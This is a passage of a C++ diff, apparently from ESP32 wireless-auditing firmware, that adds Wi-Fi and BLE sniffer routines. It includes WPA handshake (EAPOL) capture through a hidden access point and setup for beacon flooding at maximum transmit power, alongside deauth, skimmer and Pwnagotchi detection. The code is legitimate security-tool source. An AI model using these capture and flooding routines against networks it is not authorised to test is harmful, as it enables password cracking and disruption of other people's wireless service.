+    this->clearSSIDs();
+  #endif
+}
+
+void WiFiScan::RunGenerateSSIDs(int count) {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[13]));
+  
+    display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
+    display_obj.tft.println(text_table4[15] + (String)ssids->size());
+  #else
+    this->generateSSIDs(count);
+  #endif
+}
+
+void WiFiScan::RunShutdownWiFi() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+
+    display_obj.tft.print(F(text_table4[16]));
+  #endif
+
+  if (this->wifi_initialized) {
+    this->shutdownWiFi();
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_GREEN);
+      display_obj.tft.println(F("OK"));
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED);
+      display_obj.tft.println(F(text17));
+      display_obj.tft.println(F(text_table4[17]));
+    #endif
+  }
+}
+
+void WiFiScan::RunShutdownBLE() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.print(F(text_table4[18]));
+  #endif
+
+  if (this->ble_initialized) {
+    this->shutdownBLE();
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_GREEN);
+      display_obj.tft.println(F("OK"));
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED);
+      display_obj.tft.println(F(text17));
+      display_obj.tft.println(F(text_table4[19]));
+    #endif
+  }
+}
+
+void WiFiScan::RunInfo()
+{
+  String sta_mac = this->getStaMAC();
+  String ap_mac = this->getApMAC();
+  String free_ram = this->freeRAM();
+  
+  //Serial.print("STA MAC: ");
+  //Serial.println(sta_mac);
+  //Serial.print("AP MAC: ");
+  //Serial.println(ap_mac);
+  Serial.println(free_ram);
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+    display_obj.tft.println(text_table4[20]);
+    display_obj.tft.println(text_table4[21] + display_obj.version_number);
+    display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
+  #endif
+
+  if (this->wsl_bypass_enabled) {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[23]);
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[24]);
+    #endif
+  }
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(text_table4[25] + sta_mac);
+    display_obj.tft.println(text_table4[26] + ap_mac);
+    display_obj.tft.println(text_table4[27] + free_ram);
+  #endif
+
+  if (sd_obj.supported) {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[28]);
+      display_obj.tft.print(text_table4[29]);
+      display_obj.tft.print(sd_obj.card_sz);
+      display_obj.tft.println("MB");
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[30]);
+      display_obj.tft.println(text_table4[31]);
+    #endif
+  }  
+
+  battery_obj.battery_level = battery_obj.getBatteryLevel();
+  if (battery_obj.i2c_supported) {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[32]);
+      display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[34]);
+    #endif
+  }
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
+  #endif
+}
+
+void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
+  sd_obj.openCapture("espressif");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[36],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  sd_obj.openCapture("packet_monitor");
+
+  #ifndef MARAUDER_MINI
+    
+    #ifdef HAS_SCREEN
+      display_obj.tft.init();
+      display_obj.tft.setRotation(1);
+      display_obj.tft.fillScreen(TFT_BLACK);
+    #endif
+  
+    #ifdef HAS_SCREEN
+      #ifdef TFT_SHIELD
+        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+        Serial.println("Using TFT Shield");
+      #else if defined(TFT_DIY)
+        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+        Serial.println("Using TFT DIY");
+      #endif
+      display_obj.tft.setTouch(calData);
+    
+      //display_obj.tft.setFreeFont(1);
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+    
+      delay(10);
+    
+      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+      display_obj.tftDrawColorKey();
+      display_obj.tftDrawXScaleButtons(x_scale);
+      display_obj.tftDrawYScaleButtons(y_scale);
+      display_obj.tftDrawChannelScaleButtons(set_channel);
+      display_obj.tftDrawExitScaleButtons();
+    #endif
+  #else
+    #ifdef HAS_SCREEN
+      display_obj.TOP_FIXED_AREA_2 = 48;
+      display_obj.tteBar = true;
+      display_obj.print_delay_1 = 15;
+      display_obj.print_delay_2 = 10;
+      display_obj.initScrollValues(true);
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setTextColor(TFT_WHITE, color);
+      #ifndef MARAUDER_MINI
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+        display_obj.touchToExit();
+      #endif
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+    #endif
+  #endif
+
+  Serial.println("Running packet scan...");
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  uint32_t initTime = millis();
+}
+
+void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  num_eapol = 0;
+
+  #ifndef MARAUDER_MINI
+    #ifdef HAS_SCREEN
+      display_obj.tft.init();
+      display_obj.tft.setRotation(1);
+      display_obj.tft.fillScreen(TFT_BLACK);
+    #endif
+  
+    sd_obj.openCapture("eapol");
+  
+    #ifdef HAS_SCREEN
+      #ifdef TFT_SHIELD
+        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+        //Serial.println("Using TFT Shield");
+      #else if defined(TFT_DIY)
+        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+        //Serial.println("Using TFT DIY");
+      #endif
+      display_obj.tft.setTouch(calData);
+    
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+    
+      delay(10);
+    
+      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+      display_obj.tftDrawEapolColorKey();
+      display_obj.tftDrawChannelScaleButtons(set_channel);
+      display_obj.tftDrawExitScaleButtons();
+    #endif
+  #else
+    sd_obj.openCapture("eapol");
+    
+    #ifdef HAS_SCREEN
+      display_obj.TOP_FIXED_AREA_2 = 48;
+      display_obj.tteBar = true;
+      display_obj.print_delay_1 = 15;
+      display_obj.print_delay_2 = 10;
+      display_obj.initScrollValues(true);
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setTextColor(TFT_WHITE, color);
+      #ifndef MARAUDER_MINI
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+        display_obj.touchToExit();
+      #endif
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+    #endif
+  #endif
+
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_AP);
+
+  esp_err_t err;
+  wifi_config_t conf;
+  err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
+  if (err != 0)
+  {
+    Serial.print("could not set protocol : err=0x");
+    Serial.println(err, HEX);
+  }
+
+  esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
+  conf.ap.ssid[0] = '\0';
+  conf.ap.ssid_len = 0;
+  conf.ap.channel = this->set_channel;
+  conf.ap.ssid_hidden = 1;
+  conf.ap.max_connection = 0;
+  conf.ap.beacon_interval = 60000;
+
+  err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
+  if (err != 0)
+  {
+    Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
+    Serial.println(err, HEX);
+  }
+
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+  else
+    esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+
+// Function to prepare for beacon mimic
+void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+  #endif
+  
+  packets_sent = 0;
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_AP_STA);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous_filter(NULL);
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_max_tx_power(78);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("pwnagotchi");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[37],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("beacon");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("station");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table1[59],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("raw");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table1[58],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("deauth");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[39],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+
+// Function for running probe request scan
+void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("probe");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[40],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+// Function to start running any BLE scan
+void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef HAS_BT
+    #ifdef HAS_SCREEN
+      display_obj.print_delay_1 = 50;
+      display_obj.print_delay_2 = 20;
+    #endif
+  
+    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+    NimBLEDevice::setScanDuplicateCacheSize(200);
+    NimBLEDevice::init("");
+    pBLEScan = NimBLEDevice::getScan(); //create new scan
+    if (scan_mode == BT_SCAN_ALL)
+    {
+      #ifdef HAS_SCREEN
+        display_obj.TOP_FIXED_AREA_2 = 48;
+        display_obj.tteBar = true;
+        display_obj.initScrollValues(true);
+        display_obj.tft.setTextWrap(false);
+        display_obj.tft.setTextColor(TFT_BLACK, color);
+        #ifndef MARAUDER_MINI
+          display_obj.tft.fillRect(0,16,240,16, color);
+          display_obj.tft.drawCentreString(text_table4[41],120,16,2);
+          display_obj.touchToExit();
+        #endif
+        display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+      #endif
+      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
+    }
+    else if (scan_mode == BT_SCAN_SKIMMERS)
+    {
+      #ifdef HAS_SCREEN
+        display_obj.TOP_FIXED_AREA_2 = 160;
+        display_obj.tteBar = true;
+        display_obj.tft.fillScreen(TFT_DARKGREY);
+        display_obj.initScrollValues(true);
+        display_obj.tft.setTextWrap(false);
+        display_obj.tft.setTextColor(TFT_BLACK, color);
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[42],120,16,2);
+        display_obj.twoPartDisplay(text_table4[43]);
+        display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
+        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+      #endif
+      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
+    }
+    pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
+    pBLEScan->setInterval(97);
+    pBLEScan->setWindow(37);  // less or equal setInterval value
+    pBLEScan->setMaxResults(0);
+    pBLEScan->start(0, scanCompleteCB, false);
+    Serial.println("Started BLE Scan");
+    this->ble_initialized = true;
+    initTime = millis();
+  #endif
+}
+
+// Function that is called when BLE scan is completed
+#ifdef HAS_BT
+  void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
+    printf("Scan complete!\n");
+    printf("Found %d devices\n", scanResults.getCount());
+    scanResults.dump();
+  } // scanCompleteCB
+#endif
+
+
+// Function to extract MAC addr from a packet at given offset
+void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
+  sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
+}
+
+void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String src_addr_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+  }
+  int fctl = ntohs(frameControl->fctl);
+  const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+  const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+  // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+  //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
+  //{
+
+  char addr[] = "00:00:00:00:00:00";
+  getMAC(addr, snifferPacket->payload, 10);
+
+  src_addr_string.concat(addr);
+  bool match = false;
+
+  for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
+    if (src_addr_string.startsWith(espressif_macs[i])) {
+      match = true;
+      break;
+    }
+  }
+  
+  if (!match)
+    return;
+
+  delay(random(0, 10));
+  Serial.print("RSSI: ");
+  Serial.print(snifferPacket->rx_ctrl.rssi);
+  Serial.print(" Ch: ");
+  Serial.print(snifferPacket->rx_ctrl.channel);
+  Serial.print(" BSSID: ");
+    
+  Serial.print(addr);
+  //display_string.concat(" RSSI: ");
+  //display_string.concat(snifferPacket->rx_ctrl.rssi);
+  display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
+
+  //display_string.concat(" ");
+  display_string.concat(" -> ");
+  display_string.concat(addr);
+
+  for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
+  {
+    display_string.concat(" ");
+  }
+
+  Serial.print(" ");
+
+  #ifdef HAS_SCREEN
+    display_obj.loading = true;
+    display_obj.display_buffer->add(display_string);
+    display_obj.loading = false;
+  #endif
+  
+
+  
+  Serial.println();
+
+  if (save_packet)
+    sd_obj.addPacket(snifferPacket->payload, len);
+  //}
+}
+
+void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String src = "";
+  String essid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      src.concat(addr);
+      if (src == "de:ad:be:ef:de:ad") {
+        
+        
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        //display_string.concat(addr);
+        display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+
+        // Just grab the first 255 bytes of the pwnagotchi beacon
+        // because that is where the name is
+        //for (int i = 0; i < snifferPacket->payload[37]; i++)
+        for (int i = 0; i < len - 37; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          //display_string.concat((char)snifferPacket->payload[i + 38]);
+          if (isAscii(snifferPacket->payload[i + 38]))
+            essid.concat((char)snifferPacket->payload[i + 38]);
+          else
+            Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
+        }
+        //essid.concat("\": \"\"}}");
+        //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
+
+        // Load json
+        //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
+        DynamicJsonDocument json(1024); // ArduinoJson v6
+        //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
+         // ArduinoJson v6
+        if (deserializeJson(json, essid)) {
+          Serial.println("\nCould not parse Pwnagotchi json");
+          display_string.concat(essid);
+        }
+        else {
+          Serial.println("\nSuccessfully parsed json");
